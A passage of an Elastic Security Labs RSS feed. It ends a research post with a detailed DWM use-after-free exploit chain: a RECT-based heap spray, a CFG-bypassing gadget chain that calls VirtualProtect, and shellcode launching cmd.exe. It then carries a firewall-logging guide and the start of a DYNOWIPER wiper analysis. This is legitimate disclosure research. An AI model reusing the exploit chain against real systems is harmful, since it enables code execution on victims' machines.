| Allocator | <code>std::_Allocate&lt;16&gt;</code> → <code>HeapAlloc(GetProcessHeap(), 0, 288)</code> |
| LFH Bucket | 34, <strong>same as target</strong> |
| Content Control | 72 int32 values (18 RECTs × 4 fields) |</p>
<p><strong>Allocation Chain</strong>:</p>
<pre><code>dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate&lt;16&gt; → HeapAlloc(GetProcessHeap(), 0, 288)
</code></pre>
<p>The RECT buffer is written via <code>CMD_SET_BUFFER_PROPERTY</code> (0x0F) with propId <code>5</code>:</p>
<pre><code>struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};
</code></pre>
<h3 id="rectlayoutforfakeobject">RECT Layout for Fake Object</h3>
<p>The 18 RECTs (288 bytes) provide full control over the reclaimed memory:</p>
<pre><code>struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
</code></pre>
<p>Helper to write 64-bit values into adjacent RECT fields:</p>
<pre><code>static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val &amp; 0xFFFFFFFF);
    *hi = (int32_t)(val &gt;&gt; 32);
}
</code></pre>
<h3 id="exploitationprimitive">Exploitation Primitive</h3>
<p>The UAF gives us a <strong>controlled vtable call with RCX pointing to our sprayed object</strong>. When <code>DirtyActiveInk</code> iterates the dangling pointer:</p>
<pre><code>pcVar2 = *(code **)((longlong)((CResource *)*puVar4)-&gt;vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray
</code></pre>
<p><strong>Call site stack:</strong></p>
<pre><code>00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
</code></pre>
<p><strong>Register state at dispatch:</strong></p>
<ul>
<li><code>RCX</code> = pointer to sprayed object (our controlled 288 bytes)  </li>
<li><code>RIP</code> = <code>[[spray]+0x50]</code> (function pointer from fake vtable)</li>
</ul>
<h3 id="targetfunctionconstraints">Target Function Constraints</h3>
<p>There are initially two restrictions on what we can call:</p>
<ol>
<li>The target must be <strong>in the CFG bitmap</strong> (marked as valid call target)  </li>
<li>The target must have a <strong>pointer to it</strong> (in IAT, vtable, or other readable memory)</li>
</ol>
<p>We cannot directly call arbitrary addresses; only functions that satisfy both conditions.</p>
<h3 id="gadgetchain__fninstringcstdasyncstubbuffer2_disconnect">Gadget Chain: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect</h3>
<p>With the UAF giving us a controlled vtable call (<code>RIP = [[spray]+0x50]</code>, <code>RCX = spray</code>), the remaining challenge is chaining CFG-valid gadgets to achieve arbitrary code execution. Direct shellcode execution is blocked by CFG, and we have no heap address leak. We developed a novel gadget chain that solves both problems to achieve code execution, but it required 2 successful exploit attempts, lowering the reliability. Therefore, we pivoted to a <a href="https://ti.qianxin.com/blog/articles/public-secret-research-on-the-cve-2024-30051-privilege-escalation-vulnerability-in-the-wild-en/">known public</a> technique using two Windows system DLL gadgets: <code>__fnINSTRING</code> (user32.dll) and <code>CStdAsyncStubBuffer2_Disconnect</code> (combase.dll).</p>
<h4 id="stage1__fninstringkernelcallbackdispatchwithoutaleak">Stage 1: __fnINSTRING - Kernel Callback Dispatch Without a Leak</h4>
<p>The Windows kernel communicates back to user mode through the <code>KernelCallbackTable</code> (KCT), a function pointer table stored in the PEB at offset <code>+0x58</code>. Each entry points to a <code>__fn*</code> handler in <code>user32.dll</code>. These functions are CFG-valid call targets and have pointers to them in readable memory (the KCT itself), satisfying both constraints.</p>
<p>We point the fake vtable at <code>&amp;KCT[fnINSTRING_index] - 0x50</code>. When DirtyActiveInk dereferences <code>[[spray]+0x50]</code>, it reads the KCT entry and dispatches to <code>__fnINSTRING</code>:</p>
<pre><code>[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &amp;__fnINSTRING
</code></pre>
<p>What makes this useful is what <code>__fnINSTRING</code> does internally. It treats its argument (our spray buffer) as a <code>_CAPTUREBUF</code> structure and calls <code>FixupCallbackPointers</code> before dispatching the inner function. <code>FixupCallbackPointers</code> reads a fixup table from the buffer and converts relative offsets into absolute addresses by adding the buffer's base address:</p>
<pre><code>// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf-&gt;guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf-&gt;fixupTableOffset);
    for (int i = 0; i &lt; buf-&gt;fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}
</code></pre>
<p>This eliminates the need for a heap address leak. We embed relative offsets in the spray buffer, and <code>FixupCallbackPointers</code> patches them to absolute pointers at runtime using the buffer's own address. After fixup, <code>__fnINSTRING</code> dispatches the inner function pointer at <code>+0x48</code> with the arguments at <code>+0x28</code> (RCX), <code>+0x30</code> (EDX), <code>+0x38</code> (R8), and <code>+0x50</code> (R9).</p>
<p>We set the inner function to <code>CStdAsyncStubBuffer2_Disconnect</code>.</p>
<h4 id="stage2cstdasyncstubbuffer2_disconnecttwochainedvtablecalls">Stage 2: CStdAsyncStubBuffer2_Disconnect - Two Chained Vtable Calls</h4>
<p><code>CStdAsyncStubBuffer2_Disconnect</code> is exported from <code>combase.dll</code>, making it CFG-valid with a stable address. Its disassembly reveals a useful primitive: two sequential vtable dispatches with preserved argument registers:</p>
<pre><code>; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -&gt; fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET
</code></pre>
<p><code>RDX</code>, <code>R8</code>, and <code>R9</code> are <strong>preserved through both calls</strong>, arriving untouched from <code>__fnINSTRING</code>'s argument setup. This gives us full control over the first three arguments to both vtable calls.</p>
<h4 id="vtablecall1virtualprotectrwx">Vtable Call #1: VirtualProtect → RWX</h4>
<p>We construct a self-referential fake object at <code>+0xC8</code> in the spray buffer: <code>[+0xC8]</code> points to itself (after fixup), so dereferencing <code>[RCX] → [RCX+0x20]</code> reads <code>VirtualProtect</code>'s address from <code>+0xE8</code>. The arguments (preserved from <code>__fnINSTRING</code> dispatch) are:</p>
<p>| Register | Value | Purpose |
| :---- | :---- | :---- |
| RCX | base+0xC8 (fake_obj_1) | lpAddress (start of spray buffer region) |
| RDX | 0x1000 | dwSize |
| R8 | 0x40 | flNewProtect (<code>PAGE_EXECUTE_READWRITE</code>) |
| R9 | base+0xC0 | lpflOldProtect (output slot in spray buffer) |</p>
<p>After this call, the spray buffer's memory page is marked RWX, and the CFG bitmap is updated to allow execution from this region.</p>
<h4 id="vtablecall2inlineshellcode">Vtable Call #2: Inline Shellcode</h4>
<p>After VirtualProtect returns, Disconnect loads <code>[this+0x10]</code> into RCX for the second vtable dispatch:</p>
<pre><code>XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0
</code></pre>
<p>The pointer chain resolves step by step:</p>
<ol>
<li><code>[this+0x10]</code> = <code>[base+0x90]</code> = <code>base+0xA0</code> (fake_obj_2)  </li>
<li><code>[RCX]</code> = <code>[base+0xA0]</code> = <code>base+0xA8</code>, fake_obj_2's vtable pointer (after fixup)  </li>
<li><code>[RAX+0x10]</code> = <code>[base+0xB8]</code> = <code>base+0xD0</code>, vtable_2's third entry, pointing at our shellcode</li>
</ol>
<p>The final <code>CALL guard_dispatch_icall</code> dispatches to <code>base+0xD0</code>, our inline shellcode, now both executable and CFG-valid thanks to the preceding VirtualProtect call.</p>
<h5 id="shellcodelayout">Shellcode Layout</h5>
<p>The shellcode is split into two phases because the VirtualProtect address data sits at <code>+0xE8</code> (used as <code>vtable_1[0x20]</code> by call #1), creating a gap in the middle of our executable region:</p>
<p><strong>Phase 1 (+0xD0, 22 bytes):</strong> Saves <code>RCX</code> (base+0xA0) into <code>RBX</code> for later address arithmetic, allocates shadow space, loads <code>SW_SHOW</code> (5) into <code>RDX</code>, loads the absolute address of <code>WinExec</code> via <code>movabs RAX</code>, then jumps over the 8-byte data gap at <code>+0xE8</code>:</p>
<pre><code>mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, &lt;WinExec addr&gt; ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0
</code></pre>
<p><strong>Phase 2 (+0xF0):</strong> Calls <code>WinExec</code> with a <code>RIP</code>-relative pointer to the <code>"cmd.exe\0"</code> string embedded at the end of the shellcode, defuses the spray for safe re-entry, then performs a stack fixup to return directly to DWM's composition loop:</p>
<pre><code>lea  rcx, [rip+0x22]      ; rcx = &amp;"cmd.exe"
call rax                   ; WinExec("cmd.exe", SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
</code></pre>
<p>The <code>add rsp, 0xB8</code> improves reliability. A naive <code>add rsp, 0x28</code> would return into <code>CStdAsyncStubBuffer2_Disconnect</code>, which would then return into <code>__fnINSTRING</code>, which calls <code>NtCallbackReturn</code>. This kernel callback return path can be fragile in the context of a hijacked call. By adding an extra <code>0x90</code> to the stack adjustment, the shellcode skips past both intermediate frames entirely and returns directly to <code>DirtyActiveInk</code>'s caller in the DWM composition loop.</p>
<h4 id="safereentrydefusingthespray">Safe Re-entry: Defusing the Spray</h4>
<p>DWM's <code>DirtyActiveInk</code> may iterate the dangling pointer more than once. Without defusing, each re-entry would re-trigger the full chain and crash. The shellcode rewrites the spray's vtable pointer so that subsequent dereferences take a harmless path:</p>
<ol>
<li><code>[base+0x00]</code> is overwritten to <code>base+0x08</code> (new fake vtable)  </li>
<li><code>[base+0x58]</code> is overwritten to the address of a <code>ret</code> instruction</li>
</ol>
<p>On re-entry: <code>[[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret</code>. The vtable call returns immediately. <code>__fnINSTRING</code> is never re-invoked because the vtable no longer points at the KCT entry.</p>
<h3 id="completespraylayout">Complete Spray Layout</h3>
<p>The full 288-byte spray buffer (18 RECTs) after <code>FixupCallbackPointers</code>:</p>
<p>| Offset | Size | Content | Purpose |
| :---- | :---- | :---- | :---- |
| +0x00 | 8 | KCT_entry - 0x50 | Fake vtable → <code>__fnINSTRING</code> |
| +0x08 | 4 | 8 | Fixup count |
| +0x18 | 4 | 0x58 | Fixup table offset |
| +0x20 | 8 | base (fixup'd) | Guard (blocks re-fixup) |
| +0x28 | 8 | base+0x80 (fixup'd) | RCX → Disconnect <code>this</code> |
| +0x30 | 4 | 0x1000 | EDX → VirtualProtect <code>dwSize</code> |
| +0x38 | 8 | 0x40 | R8 → PAGE_EXECUTE_READWRITE |
| +0x48 | 8 | \&amp;Disconnect | Inner function pointer |
| +0x50 | 8 | base+0xC0 (fixup'd) | R9 → <code>lpflOldProtect</code> |
| +0x58 | 32 | fixup table (8 entries) | Offsets to patch |
| +0x78 | 8 | base+0xC8 (fixup'd) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (unused) | Disconnect <code>this</code> base |
| +0x90 | 8 | base+0xA0 (fixup'd) | [this+0x10] → fake_obj_2 |
| +0xA0 | 8 | base+0xA8 (fixup'd) | fake_obj_2 vtable |
| +0xB8 | 8 | base+0xD0 (fixup'd) | vtable_2[0x10] → shellcode |
| +0xC0 | 4 | (output) | VirtualProtect <code>lpflOldProtect</code> |
| +0xC8 | 8 | base+0xC8 (fixup'd) | Self-referential vtable (fake_obj_1) |
| +0xD0 | 22 | shellcode phase 1 | Save regs, load WinExec, jmp |
| +0xE8 | 8 | \&amp;VirtualProtect | vtable_1[0x20] data |
| +0xF0 | 48 | shellcode phase 2 | WinExec + defuse + stack fixup + "cmd.exe\0" |</p>
<h3 id="fullchainsummary">Full Chain Summary</h3>
<pre><code>DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec("cmd.exe", SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
</code></pre>
<p>The DWM process runs as the DWM user with System integrity. Prior <a href="https://ti.qianxin.com/blog/articles/public-secret-research-on-the-cve-2024-30051-privilege-escalation-vulnerability-in-the-wild-en/">public techniques</a> to achieve SYSTEM typically involve hijacking function pointers mapped into privileged client processes like LogonUI or Consent. However, it appears this technique was recently patched as the shared section is now mapped read-only. We developed a new, alternative path to SYSTEM but are choosing to withhold publishing the technique at this time.</p>
<div>
  
</div>
<h2 id="closingthoughts">Closing Thoughts</h2>
<p>The models we have today are highly capable at tasks that historically have required deep expertise cultivated over many years. This includes things like reverse engineering, vulnerability discovery, and exploit development. Their capabilities are spiky, and do not yet rival the world's best in these fields. However, the march of model progress seems to show no sign of slowing down at the moment. This levels the playing field for defenders, but also raises the capabilities of attackers. While there has always been an adversarial cat and mouse game, and this is not new in that regard, attackers are at least at a near-term asymmetric advantage to wield these tools for harm. Attackers can move faster, with little worry about safety or security of AI systems. Defenders must leverage AI for offensive purposes against their code (for vulnerabilities), security products (for detection gaps), and their enterprises (adversary emulation) to find weaknesses and iterate on improved defenses before attackers do. Unfortunately, it may be the small organizations with no security teams that take the brunt of the near term pain. My hope is that long-term, the security community can together outspend attackers on offensive and defensive research, and we exit this era in a better place than we started.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/patch-diff-to-system</link>
    <guid isPermaLink="false">patch-diff-to-system</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Joe Desimone]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt70c7fb49a9431adb/6a7d83a0448e4e6d7a5bdb7e/patch-diff-to-system.png" length="0" type="image/png"/>
    <pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Make The Most of Network Firewall Logs with Elastic Security]]></title>
    <description><![CDATA[Make the most of your firewall logs. In Part 1 of our series, learn how to ingest and parse logs from any firewall with Elastic Agent and use the Network Page to visually explore your network traffic for instant insights.]]></description>
    <content:encoded><![CDATA[<p><em>This is Part 1 of a two-part series on leveraging firewall data in Elastic Security. In this post, we cover the fundamentals of firewall logs, how to collect them, and how to begin exploring your network data visually.</em></p>
<p>The network firewall is one of the most critical security controls in a network. It enforces security policies by inspecting and controlling traffic between network segments, while generating logs that record allowed and denied connections. This article explores why firewall logs are a valuable supplement to other data sources, such as endpoint telemetry, and provides an overview of what firewall logs contain and how security teams can use them effectively.</p>
<p>We will cover:</p>
<ul>
<li>The importance of network firewall logs  </li>
<li>What’s inside network firewall logs &amp; how those data help cybersecurity  </li>
<li>Collecting network firewall logs with Elastic agent </li>
<li>Exploring your data on the Elastic Security Network Page</li>
</ul>
<h2 id="theimportanceofnetworkfirewalllogs">The Importance of Network Firewall Logs</h2>
<p>A network firewall acts as a gatekeeper, filtering traffic based on organizational rules and policies. For instance, it might permit one system to use RDP to connect to another while blocking similar access from other systems. In cloud environments, virtual firewalls enforce security group rules, network ACLs, and policy boundaries across VPCs, subnets, and regions thus, offering visibility into east-west and north-south traffic across your cloud estate.</p>
<p>Modern Firewalls go beyond traditional filtering by incorporating deep packet inspection, application awareness, and threat intelligence, among others.</p>
<p>Positioned strategically, firewalls capture logs that provide insights into inter-zone and intra-zone communication. For instance:</p>
<ul>
<li><strong>North-south traffic</strong> is data movement between an internal network and external entities like the Internet or cloud services. It is typically monitored by firewalls and security controls to prevent external threats.  </li>
<li><strong>East-west traffic</strong> refers to communication within a network, such as between servers, endpoints, or applications inside an organization. It is crucial for internal operations and requires lateral movement detection for security.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte51cec73da351878/6a7d830c42a117e36a95914c/image2.png" alt="A classic setup of firewalls in a corporate environment" title="A classic setup of firewalls in a corporate environment" /></p>
<p>By analyzing these logs, security teams gain critical insights into traffic patterns, rule enforcement, and potential threats.</p>
<h2 id="whatstolookoutforinnetworkfirewalllogs">What's to Look Out for in Network Firewall Logs?</h2>
<p>Firewall logs contain detailed records of network activity and are packed with information useful for tracking, monitoring, and analyzing traffic patterns, in addition to identifying security events and potential threats. These logs are related to packet filtering and traffic control, capturing allowed and denied traffic, NAT translations, and access control decisions.</p>
<p>The following is a list of key fields that provide the "ground truth" for your network. Please note that the parenthesis contain the equivalent ECS fields.</p>
<ul>
<li><p><strong>Timestamp (<em>@timestamp</em>):</strong> This is the chronological anchor of firewall logs. It helps analysts correlate sequences of events across different devices and networks. For example, if an analyst identifies a suspicious connection, they can trace back the actions preceding or following it to build a precise incident timeline.</p></li>
<li><p><strong>Source and Destination IP (<em>source.ip, destination.ip</em>):</strong> These identify the origin and target of the traffic. While seemingly simple, directionality is a critical distinction in firewall rulesets. Source IPs help identify malicious external origins or internal systems attempting brute-force attacks, while destination IPs help flag when high-value assets, such as a sensitive database, are being targeted.</p></li>
<li><p><strong>Source and Destination Port (<em>source.port, destination.port</em>):</strong> Attackers often target specific services. While source ports are often dynamic, destination ports tell you what service is being probed. High-frequency connections to common services (like 80/HTTP or 443/HTTPS) or high-risk ports (like 22/SSH) can be the first indicator of unauthorized access or web-based attacks.</p></li>
<li><p><strong>Protocol (<em>network.transport</em>):</strong> Analyzing usage of protocols like TCP, UDP, or ICMP helps identify specific attack types. For instance, unusual ICMP patterns might signal a ping sweep or a denial-of-service (DoS) attempt.</p></li>
<li><p><strong>Action and Rule Identifiers (<em>event.action or event.outcome, rule.name or rule.id</em>):</strong> Understanding whether a firewall allowed or blocked a connection is vital. By identifying the specific <strong>Rule Identifier</strong>, analysts can see which policy was responsible. This is essential for finding misconfigured rules that might be unintentionally exposing the network to attacks.</p></li>
<li><p><strong>Traffic Volume (<em>source.bytes, destination.bytes, network.bytes</em>):</strong> These fields are primary indicators for data exfiltration. Sudden spikes in volume or large transfers to an external destination are often the "early warning" for data theft or malware beaconing.</p></li>
<li><p><strong>NAT Info (<em>source.nat.ip, destination.nat.ip</em>):</strong> In complex environments where Network Address Translation (NAT) is involved, these fields are crucial for "unmasking" the actual internal systems involved. Without this, tracing a suspicious connection back to a specific internal host can be nearly impossible. This is key especially for north-south type of traffic.</p></li>
<li><p><strong>Application Info (<em>network.application</em>):</strong> Next-Generation Firewalls (NGFWs) go beyond ports to identify the actual application (e.g., Skype, BitTorrent, or HTTP). This allows analysts to detect unauthorized applications that might be masking their traffic on standard ports, signaling potential insider threats, lateral movement, or the use of high-risk peer-to-peer software.</p></li>
<li><p><strong>Interface Info (<em>observer.ingress.interface.name, observer.egress.interface.name</em>):</strong> Knowing which physical or virtual interface the traffic passed through (e.g., WAN vs. LAN) helps analysts understand which network segments are involved. Traffic crossing internal interfaces is a key indicator of malware propagation or lateral movement.</p></li>
</ul>
<p><strong>Note</strong>: Some <a href="https://www.elastic.co/docs/reference/integrations">integrations</a> might have these fields labeled differently. </p>
<h2 id="collectingfirewalllogswithelasticsecurity">Collecting firewall logs with Elastic Security</h2>
<p>Elastic makes it easy to collect network firewall logs. This guide describes how to use Elastic Agent and Fleet for firewall log collection. There are other ways Elastic can allow you to collect network logs, such as using <a href="https://www.elastic.co/logstash">Logstash</a>. In cloud environments, you can also ingest logs directly from object storage (like AWS S3 or Azure Blob). This approach is useful for environments where firewalls log to a centralized store rather than stream data directly.</p>
<p>To effectively collect and analyze network firewall logs using Elastic Security, follow these steps:</p>
<ol>
<li><strong>Configure Log Forwarding:</strong> Set up your firewall to forward logs to Elastic Agent.  </li>
<li><strong>Syslog Configuration (or similar):</strong> Typically, you will direct your firewall to send Syslog data to the host that has the Elastic Agent, specifying the appropriate IP address and port.  </li>
<li><strong>Elastic Agent Setup:</strong> Install and configure Elastic Agent on a syslog server, edge server, or similar log collector to receive and process the logs.</li>
<li><strong>Utilize the relevant Elastic Integrations:</strong> Elastic offers integrations tailored for various firewalls, such as:  </li>
</ol>
<ul>
<li>Palo Alto Next-Gen firewall  </li>
<li>Fortinet FortiGate firewall  </li>
<li>Check Point  </li>
<li>Cisco ASA  </li>
<li>AWS Network Firewall  </li>
<li>Azure Firewall  </li>
<li>GCP Firewall, among others.  </li>
</ul>
<ol>
<li><strong>Ingest Logs into Elastic Security:</strong> Ensure that the logs are ingested into Elasticsearch, making them accessible in Elastic Security for analysis and visualization. Elastic also enriches ingested firewall logs with helpful context such as geolocation, IP-to-hostname mapping, threat intelligence matches, and even business metadata making investigations faster and more informed.</li>
</ol>
<p>By following these steps, you can effectively collect, process, and analyze network firewall logs within Elastic.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6f27e4c99db313b4/6a7d830fbdcff07dcec4009e/image3.png" alt="An example out-of-the-box dashboard for Fortinet’s Fortigate firewall logs" title="An example out-of-the-box dashboard for Fortinet’s Fortigate firewall logs" /></p>
<h2 id="exploringyourdatatheelasticsecuritynetworkpage">Exploring Your Data: The Elastic Security Network Page</h2>
<p>Once your firewall logs are flowing into Elastic, you can move from collection to exploration. The <a href="https://www.elastic.co/docs/solutions/security/explore/network-page">Network Page</a> in Elastic Security is your central hub for visualizing and investigating aggregated network data, including firewall data.</p>
<p>Instead of just looking at raw logs, this page provides key network activity metrics in an interactive map and a series of data tables. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt434afcec24bb2b6b/6a7d831233fa8a3f2a1ff9ac/image1.png" alt="Aggregated network data" title="Aggregated network data" /></p>
<p>Key features of the Network page include:</p>
<ul>
<li><strong>Interactive Map:</strong> Get an immediate visual overview of your network traffic. You can see source and destination points mapped geographically, helping you instantly spot unusual connections, like an internal server communicating with an IP in a country you don't do business with.  </li>
<li><strong>Drill-down Widgets:</strong> Interactive widgets allow you to quickly find baselines and outliers. You can see top talkers for:  </li>
<li>Network Events  </li>
<li>DNS Queries  </li>
<li>TLS Handshakes  </li>
<li>Unique Private IPs  </li>
<li><strong>Focused Data Tabs:</strong> The page includes tabs to pivot your investigation into specific data types, such as:  </li>
<li><strong>Flows:</strong> See source and destination IP addresses and countries.  </li>
<li><strong>DNS:</strong> Analyze all DNS network queries.  </li>
<li><strong>HTTP:</strong> Inspect received HTTP requests.  </li>
<li><strong>TLS:</strong> Investigate handshake details.  </li>
<li><strong>Timeline Integration:</strong> You can drag and drop items of interest—like a suspicious IP address or host name—directly from the Network page into Timeline for deeper investigation and correlation.</li>
</ul>
<p>Using this page, you can start to answer foundational questions like, "What is normal traffic for my network?" and "Which external IPs are my internal hosts communicating with most?" This visual exploration is the first step before moving into automated detection.</p>
<h2 id="startexploringyournetworkdata">Start Exploring Your Network Data</h2>
<p>In this post, we've covered the fundamentals: why firewall logs are critical, what's inside them, how to ingest them using Elastic Agent, and how to begin visually exploring that data on the Network page.</p>
<p>In Part 2, we'll build on this foundation and move from <em>exploration</em> to <em>active threat detection</em>. We will cover how to use Elastic Security’s detection rules to automatically find network-native threats like reconnaissance, C2, and data exfiltration, as well as how to hunt for advanced lateral movement by correlating with other data such as endpoint data and other telemetry.</p>
<p>Ready to turn your own firewall logs into actionable insights?</p>
<ul>
<li><strong>New to Elastic?</strong> Start your <a href="https://www.elastic.co/cloud/elasticsearch-service/signup">free 14-day trial of Elastic Cloud</a> to see the Network Page in action.  </li>
<li><strong>Already an Elastic user?</strong> Head to the <strong>Integrations</strong> app in Kibana, add your firewall's integration, and start exploring your network data today.</li>
</ul>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/make-the-most-of-network-firewall-logs-with-elastic</link>
    <guid isPermaLink="false">make-the-most-of-network-firewall-logs-with-elastic</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Marvin Ngoma]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt093b806fe7edd68b/6a7d83154c4bfb0ad9cca879/Security_Labs_Images_15.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 25 Feb 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[DYNOWIPER: Destructive Malware Targeting Poland's Energy Sector]]></title>
    <description><![CDATA[Learn how Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring.]]></description>
    <content:encoded><![CDATA[<h2 id="summary">Summary</h2>
<ul>
<li>On December 29, 2025, a coordinated campaign of destructive cyberattacks targeted Poland's energy infrastructure, affecting over 30 renewable energy facilities and a major combined heat and power (CHP) plant</li>
<li>A custom wiper malware dubbed DYNOWIPER was used to irreversibly destroy data across compromised networks</li>
<li><a href="https://mwdb.cert.pl/">CERT Polska</a> attributes the attack infrastructure to the threat cluster Cisco refers to as Static Tundra, Crowdstrike refers to as Berserk Bear, Microsoft calls Ghost Blizzard, and Symantec labels as Dragonfly  </li>
<li>Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring</li>
</ul>
<h2 id="background">Background</h2>
<p>The coordinated destructive campaign against critical energy infrastructure occurred on December 29, 2025, during a period of severe winter weather in Poland.</p>
<p>According to CERT Polska’s report, the campaign targeted:  </p>
<ul>
<li>30+ wind and solar farms across Poland  </li>
<li>A major CHP plant  supplying heat to nearly half a million customers  </li>
<li>A manufacturing sector company characterized as an opportunistic target</li>
</ul>
<h3 id="attackvector">Attack Vector</h3>
<p>The threat actor reportedly gained initial access through Fortinet FortiGate devices exposed to the internet prior to December 29th, exploiting:</p>
<ul>
<li>VPN interfaces allowing authentication without multi-factor authentication </li>
<li>Reused credentials across multiple facilities  </li>
<li>Historical vulnerabilities in unpatched devices</li>
</ul>
<p>Attackers conducted months-long reconnaissance of industrial automation systems, specifically targeting SCADA systems and OT networks. During this time, they exfiltrated Active Directory databases, FortiGate configurations, and data related to OT network modernization.</p>
<h2 id="dynowiperdetails">DYNOWIPER Details</h2>
<p>Elastic Security Labs independently analyzed a DYNOWIPER sample from open sources. The sample is similar to one of the variants documented by CERT Polska.</p>
<h3 id="samplemetadata">Sample Metadata</h3>
<p>| Property | Value |<br />
|----------|-------|<br />
| <strong>SHA256</strong> | <code>835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5</code> |<br />
| <strong>SHA1</strong> | <code>4ec3c90846af6b79ee1a5188eefa3fd21f6d4cf6</code> |<br />
| <strong>MD5</strong> | <code>a727362416834fa63672b87820ff7f27</code> |<br />
| <strong>File Type</strong> | Windows PE32 Executable (GUI) |<br />
| <strong>Architecture</strong> | 32-bit x86 |<br />
| <strong>File Size</strong> | 167,424 bytes |<br />
| <strong>Compiler</strong> | Visual C++ (MSVC) |<br />
| <strong>Compilation Date</strong> | 2025-12-26 13:51:11 UTC |</p>
<h3 id="destructionmechanism">Destruction Mechanism</h3>
<h4 id="driveenumeration">Drive Enumeration</h4>
